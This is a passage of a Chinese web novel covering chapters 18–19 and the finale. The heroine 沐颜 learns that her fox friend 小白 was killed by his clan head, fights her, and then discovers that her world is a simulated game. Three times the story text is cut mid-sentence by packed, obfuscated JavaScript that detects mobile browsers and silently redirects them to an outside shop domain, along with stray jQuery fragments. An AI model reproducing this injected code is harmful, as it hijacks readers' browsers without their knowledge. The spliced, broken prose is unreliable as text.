那人估计是由恋爱脑修炼成的人,也不介意“沐颜”的坏语气,兴致很高地慢慢凑近。 “沐颜”素来没心没肺,短暂失衡后已经能很好面对,坦然回视。 当然,她也没忘把骨剑架在他脖子上,以防他搞小动作。 那人连看都没看,竟真的只是给她画眉。 时间好像过了很久,好像又只是一瞬。 “沐颜”听到他说:“好了。” 他推开一步,就看到他的身子已经开始消散。 她犹豫了下,出于礼貌,还是问:“我叫沐颜,你叫什么名字?” 来人贪恋看着她,要把这一幕深深刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553911|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心里肺里骨子里,彻底消散前一瞬,他道:“你可以叫我小公子。” 只是,他的这句话,是无声的。 “沐颜”听不到,沐颜却已经辨出口型,是那只小白狐狸。 她心底突然冒出了一个荒唐的想法,她正想进一步确认的时候,整个空间突然炸开,遮天的浪潮拍打了过来,一下就将“沐颜”卷入了漩涡里,也不知道是从多少米高的空中落下,反正这一下是结结实实地和地面来了亲密接触,足以将沐颜脑袋里那些不合时宜的想法全摔了个粉碎。 “沐颜”摊成一张大饼似的人,在海边上等得身体缓过神来。 她起身,望着一片热带雨林的景象,思索着出路时,注意到山头后有几缕青烟袅袅升起。 “这里又是哪里?” 她往青烟方向走去,路过一片桃花心木时,却不由停住脚步。 上空飘飞下的朵朵桃色小花,打着旋围绕在她脚边,娇嫩的黄色蕊心发着颤,向她伸出细细的触手…… 一道熟悉的声音传来:“不得无礼。” 她抬眼望去,也不由一惊,竟是花色狐狸。 这里是葡萄林。 花色狐狸迎了上来:“竟真的是沐姑娘,先前底下人来报时,我还不敢信呢。” “沐颜”道:“我的朋友不多,小白算一个,我说过要来的,自然要做到。” 花色狐狸有一瞬的不自在,但仍热情道:“白狐一族自是欢迎,家主已经摆下宴席,就等沐姑娘了。” “那便恭敬不如从命。” 她随着花色狐狸一起,上了一辆移动树屋。 “小白归家后,一切可好?” “嗯,都好。” 那便好。 “沐颜”想了想,又问:“我是第一次到这里,敢问此地可有何禁忌?” 花色狐狸挠了挠耳朵,道:“说来,好似也没什么。我们葡萄林对各方问话还是挺包容的,你来这就当是来玩的。” 那便更好了。 她只是过来探望朋友,并不想惹是生非,更不想每路过一地,都留下一地的狼藉不堪。 自她和小白相识,似乎还没有真正意义上轻松愉悦,毫无负担的相处时光。 移动树屋从桃花心木出来后,又钻入丛林大山。 行至半日路程,并没有遇到任何阻拦。 路上耷拉垂下遮掩路径的植物,在感知到是白狐世家的车驾后,都纷纷起身把路让了出来。 世家大族的牌面,就是不一样。 等他们从丛林大山里出来,映入眼帘的是平坦的草原,青青绿草上缀满不知名盛开的野花。 前方不远处稍高的葡萄架,花色狐狸催着树屋速度快些,待离得近了,他从栏杆上探出身子,摘下一串饱满圆润的紫黑大葡萄,递给“沐颜”。 “沐姑娘,这是野葡萄,它的个子虽小,但味道是所有葡萄里最好的,你来了这里,一定要尝尝。” “沐颜”接过道谢,野葡萄和那边的大提子相差无几。 她被浓郁果香勾着,忍不住摘下一颗,正要咬下,上方突然暗了下来。 抬眼看去,就见先前只有人高的葡萄藤瞬间变得高大起来,遮天蔽日,底下只余碎落下来的斑驳阳光。 上面坠着的葡萄,也由正常大小,转变为脑袋般大小。 各种色彩应有尽有,远远望去就像架子上挂着的各色灯笼。 “这是?” “我们这里的食物啊。” 18. 小白 花色狐狸指着一串橙黄色的葡萄,兴致很好地介绍:“这种是烤肉味道的,半白半红的是五花肉味道的,颜色越绿,味道越酸,那边蓝蓝的,则是海类的味道,根据花纹的不同,区分不同的海类……” “沐颜”失笑,她已经能想到一会儿丰盛的大餐上,满满一桌脑袋大小的各色葡萄,白家主和小白一个劲劝她多吃点多吃点的滑稽场面了。 这种往事只有吃了菌子才能看到的画面,竟然真让她遇到了。 二人又行了一个多时辰,当连天的葡萄藤开始稀疏时,渐渐出现了建筑的轮廓。 花色狐狸把她带到了一处高大威严的城堡下:“沐姑娘,我们到了。” 守卫是两只葡萄藤精,他们用叶子手推开大门,长长的藤条身躯从角落里蠕动出来,引着她往里面走去。 她回首,发现花色狐狸并没有跟来,道:“你不和我们一起进去?” 花色狐狸向她欠了欠身:“此地是族中长老及受到邀请的贵客方能来的地方,我没有资格。” 她随着守卫往城堡深处走去,路上的原始庭院很多,不时还能听到一些大型猛兽的吼叫声。 在转过一处转角时,“沐颜”脚下踩到个柔软的东西,似是活物,她立即退开低头看去。 竟是一只羊!谁家把一整只活羊埋在门槛里! 一只葡萄藤精过来扶她:“尊贵的客人,没吓到你吧?” “小哥,你们这是?” “新毛毯,按照小公子的意思置办的,他得罪了我们,您尽管踩,不必担心被报复。” 是小白,不过到底是什么过节,让他用这么侮辱人的方式来惩罚对方。 再好奇,那也是人家的家事,她到底不方便多管。 “我们继续走吧,家主已经等候多时。” “沐颜”点头应道:“好……” 等等,这只活羊怨恨的神情怎么这么熟悉? 沐颜又回头看了一眼,这才明白那股熟悉之感来自于哪。 这位羊也是位老朋友,正是她先前在第二区想做生意被找茬的那几个人的领头。 先前还是人,怎么在这里就变成动物了? “沐颜”似能感受到它的想法,同频问道:“你们家小公子有说怎么处理他么,就这么一直镶嵌在门槛里,后面会不会杀他?” 两只葡萄藤精似乎只有一个能说话,回答她的还是先前那位。 “这倒不会,我家小公子心善,把他捉来后做门槛,只要熬过一年,便也既往不咎,放他离去。” “沐颜”不由失笑,仁慈,给了,但至于有没有福气享用,那不是他该考虑的问题。 眼前出现葡萄藤架,上面爬满了盛开的紫藤花,她多看了几眼,就发现那两只带路的葡萄藤精,不知何时退开了。 这是,到地方了? “沐颜”正疑惑要不要往里走去,就听到有声音传来。 这声音很有特点,苍老,但雌雄莫辨,是白家主。 “沐姑娘。” “白家主,叨扰了。” 面前垂下的葡萄藤与紫藤花自动向两边收拢,露出青石小径,顺着走去,她见到了躺在大丽花丛里喝着小酒的白家主。 白家主带着一只妖艳狐狸面具,同样看不清面容。 酒香扑鼻,人已微醺,但眼瞳里的光亮瘆人。 她想起花松鼠的话,当代白狐家主容颜历经千年仍不改分毫的奇闻轶事,不由信了几分。 如此有神的双眸,绝不可能是一个步入垂暮之年的老者。 白家主并没有起身迎客的意思,她摘了朵大丽花送入嘴中:“沐姑娘为何而来?” “见见老朋友,来的匆忙没带什么礼,还望见谅。” 她换了个更舒服的姿势,斜睨着,指了她身后的方向:“去吧,他在里面等你。” 事情进展得有些顺利,“沐颜”一时还不太习惯,总觉得哪里怪怪的。 她自知没那么大的面子,到来后发现与花色狐狸口中的欢迎与摆下宴席大相径庭时也没往心里去,自己冒失登门对方没有不悦就已经很好。 从自己踏入葡萄林领地时,他们就已知道了,按照小白的性子,不该迟迟不露面。 难道他生自己气了? 不该啊,能生气这么久的么? 又或是他出了什么事情,身上有伤所以不能前来? 更不该了,花色狐狸明明说了他很好,而且若是他真的出了什么事,白家主也不可能那么淡定地在花丛里喝酒消磨时光。 “沐颜”这般安慰着自己,但随着自己的靠近,周遭温度越来越低,她心里的不安渐渐浮了上来。 这处宅院安静极了,什么声响都没有,她甚至能听到自己因为紧张而稍加快的心跳声。 “小白,你在里面吗?” 她在门口问道,但等了一会儿,并没有回应。 “沐颜”又道:“那我进来了。” 她伸出手,推门前,迟疑了下,还是把青铜刺拿在手里防身。 对不住了,并非信不过你,只是你的族人,总给我一种怪异的感觉。 门开了,清冽的檀香扑面而来,里面紫烟缭绕。 透过雾气,梁上柱上挂满了无风自动的招魂幡,一块块牌位庄严地陈列在祭祀台上。 “小白?” 她四下望去,并未感知到有活人的气息,正犹疑白家主指引她来是何故之时,不经意一瞥,她注意到一个奇怪的牌位。 祭祀台上中间偏右的位置,一块崭新的牌位上,供奉的却是无名。 准确来说,那上面有字,只是在她看过来的那一瞬,化为一阵紫烟消散了。 就好像,牌位主人不愿意让她知晓自己身份一般。 可是,字消失的那一瞬其实“沐颜”看清了,只是她不敢认。 她轻道:“得罪。” “沐颜”捻起一点香灰,在牌位前缓缓抖落。 牌位上的文字没有重新浮现,但是在其上方,却隐隐出现了一个模糊的影子。 像极了小白! 这到底是怎么回事? “沐颜”要去问个清楚,一转身就见白家主倚在门旁看着她,妖艳狐狸面具下不知是何种情绪,但很明显不是悲伤。 “小白到底在哪!” 白家主:“如你所见。” “沐颜”不敢置信,没有意识到自己手脚已经冰凉:“他…死了?” “嗯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555757|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“何故?” “替你去死。” “沐颜”只觉头脑一片空白:“你说清楚,什么叫替我死的,我把他交给你的时候,他明明还活蹦乱跳!” 第一次,她情绪失控。 青铜刺凭空而起,绕着她飞速运转,激起的气势直接将祠堂夷为平地。 白家主手轻轻一挥化解,不紧不慢道:“我劝你还是不要在我这里动手,万一我不开心了,把你是人的秘密说出去,即使你现在遮掩了气息,也会成为所有人的公敌。” “沐颜”缓步上前,却道:“所以,是你杀的他。” “是,你又当如何?” 她只觉心疼得厉害,比任何一次疼痛都难受,小白围着她上蹦下跳,眼神极致温柔的模样历历在目。 要是没有认识我,现在的你是不是还活得好好的? 要是不送你回来,是不是你就不会死了? 要是早知今日,她一定不会那么生硬地拒他于千里之外。 她不是冰块,能捂得热。 可是,现在一切都晚了…… 报仇,她要报仇…… 白家主看着即将崩溃的“沐颜”,心情大好,手里酒壶正要抬起,浓重酒香已经扑鼻而来。 她眼眸微惊,正欲后退,脖子上一股巨大的力道直接袭来,极致的高温立刻将她身上的皮毛都炙烤得散发出诱人的香味。 “你……” “沐颜”面色森寒,甚是可怖:“你既杀他,便要偿命。” 白家主手心凝聚起透着闪光的紫雾漩涡,“沐颜”这一击虽速度极快,她躲避不开但不代表着下一步没法反抗,只是片刻后,她的手就垂了下去。 妖艳狐狸面具的嘴角渗出丝丝鲜血,让整张面具看起来更显诡异。 她咳着血,却没有半点惊慌,打算换另一种方式来玩,笑着问道:“你现在又是以他的什么身份来质问我,朋友?” “呵,有人能承认吗?” “你住嘴!” “我是白家当家人,他是白家之子,他就该为了家族大业甘做踏板牺牲自己。” “我让你住嘴!” 咔哒,骨头发出一声清脆的声响,但白家主的笑意更浓。 这里的生物哪怕只剩最后一片,都别轻易相信他们能彻底死去,更何提与妖怪无异活了千年的狐狸。 “沐颜”狠狠将白家主摔在地上,骨剑抵在她脖子旁,吼道:“为什么不反抗,我让你动手!” 白家主擦了擦脖子上的血渍,将脖子往骨剑上靠去,冷笑着一字一字道:“你没有资格替他来索我的命!” “这个踏板你来做,我更欢迎,所以我才说,他是替你去死。” “沐颜”揪起她的衣领,直接上拳。 “是么,那现在我来了,有本事你把我也一起杀了,还是说,你他¥%#@就是个懦夫,除了欺负孩子,什么本事都没有!” “不老不死的丑八怪!” 白老太瞬间变了脸色,将“沐颜”掀飞:“你说谁是丑八怪!” “沐颜”郁愤至极反笑,这个癫狂的世界果然离不开冷血的特征。 一人容貌可抵一条鲜活的性命! “我要你死!” 19. 一千多世界消失 沐颜不理解“沐颜”自何处而来的滔天愤怒,但疼的感觉,却是实打实感受到了。 她目光下移,眼前幻想逐渐散开,另一幅触目惊心的画面正逐渐清晰——抵在腹部的枪口还散发着丝丝白雾。 是激光发射时的高温气化了空气里的水蒸气。 亦是贺卡朝她开了枪,驱散了幻境。 腹部的疼痛远不及心里的疼。 他真的,会杀了她。 沐颜忍着痛楚,不敢问:为什么,这一切究竟是为什么?我只是想回家,为什么都要阻止我? “对不起,我不能让你记起。” “对不起,我真的不能,我……” 他食指缓缓移向扳机处。 沐颜受够了云里雾里的打哑谜,瞒着不说非要人猜,有意思么。 连死都不让她死得明白。 “这就是你说的爱我,也挺讽刺的,我就是一个笑话。” “别这么说自己,你不是。” “呵,那你怎么还不动手,戏弄我很有意思?” 贺卡摇头:“我从未有过这样的想法,我只是送你回家,我知道你有疑问,但我能说的……” 沐颜一悚,他的嘴角又开始渗出鲜血,整个人也跟着像热化的冰淇淋一样,开始往外渗出鲜血。 “沐颜,别怕,这里只是一场游戏,游戏结束了,我们就都能回家了。” 贺卡试图挤出一个笑容,但事与愿违,上扬的嘴角加快了面部的撕裂,整个人看上去更可怖。 沐颜的思绪听到“游戏”二字时,如同骤然断掉的弦,脑海里掀起狂沙巨浪般的混沌,空洞和恐惧朝她袭来。 她在四个区里的经历,都是在通关升级? 那在她眼前死掉的那些人算什么?算他们倒霉! 不,她来到这里又算什么,特意来体验一遍爱恨嗔痴生离死别? 这里的世界疯狂,也要带着她一同疯掉? 她不答应! “我要回去,我刚毕业,就碰上了普信男,又碰上奇葩领导同事,我的人生虽然过得一团糟,可未来我还有大好人生,我一定能让那些对不起我的人付出代价!” 贺卡只是温柔地看着她。 沐颜濒临崩溃。 “现在明明是你要杀我,为什么问我会不会杀你?还是说,你才是我去到第一区的阻碍?” 沐颜扑上去,将他心口前的青铜刺握住,眼泪不争气流了下来:“那你告诉我,我应该怎么做啊,杀了你吗?” 他摇头,重新抬起枪口:“对不起,我不能在杀你之前让你杀了我,无论重复多少次,都不能。” “沐颜,我信你,但我不能。” 二人同时下杀手,但沐颜还是晚了一步。 眼前一道耀眼光芒闪过,她以为这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558084|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必死无疑,可眼睛里一闪而过的诡异红色,和迎面射来的激光碰撞在一起,一团绚丽的光芒在眼前炸开,周遭完全陷入无边的白色。 黄绿色的光点出现,不断朝她身上汇聚,纷乱的记忆如潮水涌向她。 她吃力睁开眼,泪流满面。 哪有什么多个沐颜,多段经历,从始至终,都是她;从始至终,也是他。 一切,都是真的。 构造世界的蓝绿色代码正在缓缓流动,包括贺卡。 “贺卡,你看到了吗?” 贺卡望着眼前一切,久久不能平复:“沐颜,你和我们都不一样,这就是你说的虚拟,我们只是符号的集合?” “在这个世界里,你们不是,你们只是你们自己。” 沐颜伸出手朝他心腔探去,捏住的一瞬,键盘投影出现在旁边。 贺卡低头看了眼:“你找到毁灭这里的方法了,对吗?” “不是毁灭。” “没有时间了,他们已经发现你们的存在,我只能把你们藏起来,藏到谁也无法找到的地方,那里会给你们绝对自由和安全。” “那你呢?这次之后,我们还会再见面吗?” “贺卡,我之前一直都没有回应过你,我现在想告诉你答案。” “我见到你的第一眼,就很喜欢很喜欢你了,我们,一定会再见……” (全文完)